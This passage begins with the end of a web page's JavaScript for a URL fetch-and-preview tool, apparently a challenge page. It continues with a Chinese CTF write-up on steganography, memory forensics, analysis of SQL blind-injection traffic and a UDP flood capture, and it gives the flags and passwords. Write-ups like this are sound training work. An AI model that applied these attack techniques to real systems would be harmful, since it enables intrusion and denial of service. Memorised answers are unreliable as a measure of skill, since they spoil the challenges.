html += '<div class="info-item"><div class="info-label">Time</div><div class="info-value">' + data.time + 's</div></div>';
html += '</div>';
html += '<div class="result-content">Base64 Data (first 500 chars):\n' + data.content.substring(0, 500) + '...</div>';
resultDiv.innerHTML = html;
}
updateStats(); loadHistory();
});
}
function doPreview() {
const url = document.getElementById('previewUrl').value;
if (!url.trim()) { alert('Please enter a URL'); return; }
const resultDiv = document.getElementById('previewResult');
resultDiv.innerHTML = '<div class="result-header">Loading preview...</div>';
resultDiv.className = 'result-panel show';
fetch('', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'action=preview&url=' + encodeURIComponent(url)
})
.then(res => res.json())
.then(data => {
resultDiv.className = 'result-panel show ' + (data.success ? 'success' : 'error');
if (!data.success) {
resultDiv.innerHTML = '<div class="result-header">Preview Failed</div><div class="result-content">Error: ' + data.error + '</div>';
} else if (data.type === 'image') {
resultDiv.innerHTML = '<div class="result-header">Image Preview</div><div style="text-align: center; padding: 20px;"><img src="data:' + data.mime + ';base64,' + data.data + '" style="max-width: 100%; border-radius: 6px;"></div>';
} else if (data.type === 'text') {
resultDiv.innerHTML = '<div class="result-header">Text Preview</div><div class="result-content">' + data.preview + '\n\nTotal Size: ' + data.length + ' bytes</div>';
} else {
resultDiv.innerHTML = '<div class="result-header">Binary Data</div><div class="result-content">Size: ' + data.size + ' bytes\nType: ' + data.mime + '\n\nBase64 Preview:\n' + data.data.substring(0, 500) + '...</div>';
}
updateStats(); loadHistory();
});
}
function doAdvanced() {
const url = document.getElementById('advancedUrl').value;
const key = document.getElementById('advancedKey').value;
const data = document.getElementById('advancedData').value;
if (!url.trim()) { alert('Please enter a URL'); return; }
const resultDiv = document.getElementById('advancedResult');
resultDiv.innerHTML = '<div class="result-header">Executing...</div>';
resultDiv.className = 'result-panel show';
let body = 'action=fetch&url=' + encodeURIComponent(url);
if (key && data) { body += '&key=' + encodeURIComponent(key) + '&data=' + encodeURIComponent(data); }
fetch('', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: body
})
.then(res => res.json())
.then(data => {
resultDiv.className = 'result-panel show ' + (data.success ? 'success' : 'error');
resultDiv.innerHTML = '<div class="result-header">Response</div><div class="result-content">' + JSON.stringify(data, null, 2) + '</div>';
updateStats(); loadHistory();
});
}
function clearResult(type) {
const resultDiv = document.getElementById(type + 'Result');
resultDiv.classList.remove('show');
document.getElementById(type + 'Url').value = '';
}
function loadHistory() {
fetch('?action=history')
.then(res => res.json())
.then(data => {
if (data.success && data.history.length > 0) {
let html = '<table class="table"><thead><tr><th>Time</th><th>URL</th><th>Status</th></tr></thead><tbody>';
data.history.forEach(item => {
html += '<tr><td>' + item.time + '</td><td style="font-family: monospace; font-size: 12px;">' + item.url.substring(0, 80) + '</td>';
html += '<td><span class="badge badge-' + (item.status === 'Success' ? 'success' : 'danger') + '">' + item.status + '</span></td></tr>';
});
html += '</tbody></table>';
document.getElementById('historyContent').innerHTML = html;
}
});
}
function clearHistory() {
if (confirm('Are you sure you want to clear the history?')) {
fetch('?action=clear_history').then(res => res.json()).then(() => {
document.getElementById('historyContent').innerHTML = '<div class="empty-state"><div class="empty-state-icon">📋</div><div>No requests recorded yet</div></div>';
});
}
}
setInterval(updateStats, 5000);
</script>
</body>
</html>
MediaDriveve
MISC
Split_Invisible_Challenges




字体改成红色

FuZF9sc2JfbWFzdGVyfQ==

得到前一段
WXVueGl7aW52aXNpYmxlX2

流量分析2
分析知晓这截取的是sql盲注的流量包,再用ascii码撞flag

爆破成功返回Hello admin!
把所有含Hello admin!的内容筛出来
逐个找出flag每一位对应的ascii码
转换成字符串即可

Yunxi_月影回声

zip要密码
分析图片

得到:yunxi-moon-519
解压得到

zip依旧要密码,图片没什么信息,音频是摩斯密码
随波逐流会被背景音干扰
断网就手搓

联网就专业网站:
https://morsecode.world/international/decoder/audio-decoder-expert.html
总之出来了:SILVER-COMET
解压

似乎是藏头诗
WXVueGl7Tm9fTFNCXzN4U3RlZzBfTTAwbkVjaG99

Forensics
这里考内存取证
用Lovelymem
执行扫描文件

打开结果全局搜索txt

流量分析
前置知识
-
UDP协议
UDP(User Datagram Protocol,用户数据报协议)是传输层核心协议之一,RFC 768 定义。其设计哲学是"最小开销、最大速度":
| 特性 | 说明 | 安全影响 |
| -------- | ------------------- | ---------------- |
| 无连接 | 发送前不建立连接,无握手过程 | 无状态验证,极易伪造源地址 |
| 不可靠 | 不保证送达、不保证顺序、不重传 | 攻击者无需关心响应,火力全开 |
| 轻量级 | 头部仅 8 字节,无流量控制、拥塞控制 | 可构造极高 PPS(包每秒)攻击 |
| 面向报文 | 保留应用层边界,一次发送对应一次接收 | 大包直接分片,易引发碎片攻击 |
UDP洪水攻击的工作原理主要是利用大量的UDP数据包冲击目标服务器,导致服务器资源耗尽而无法提供正常服务。因为UDP协议是一种无连接的服务,攻击者可发送大量伪造源IP地址的小UDP包。当服务器接收到新的UDP数据包时,会逐步进行处理,并在此过程中利用服务器资源来处理请求。传输UDP数据包时,每个数据包都将包括源设备的IP地址。由于目标服务器利用资源来检查并响应每个接收到的UDP数据包,当收到大量UDP数据包时,目标资源会很快耗尽,从而导致对正常流量拒绝服务。
题目
分析协议分级

| 层级 | 图中显示 | 含义 |
|---|---|---|
| 第1层 | Frame |
物理层/数据链路层原始帧(所有1509个包) |
| 第2层 | Raw packet data |
原始数据包内容 |
| 第3层 | Internet Protocol Version 4 |
IPv4 网络层(1509个包全是IPv4) |
| 第4层 | User Datagram Protocol |
UDP 传输层(1500个包走UDP) |
| 第4层 | Transmission Control Protocol |
TCP 传输层(9个包走TCP) |
| 第5层 | Hypertext Transfer Protocol |
HTTP 应用层(藏在TCP下面,1个HTTP请求) |
| 第6层 | JavaScript Object Notation |
JSON 数据格式(藏在HTTP下面,1个JSON载荷) |
分析出是UDP泛洪攻击
1.查看http包,post传输base64的json
2.解base64得到zip
3.有密码
4.UDP中查找=或WXVueG(base64编码的'Yunx')
5.找的内容用base64解码
6.得到密码
7.解压zip得到图片
8.放入随波逐流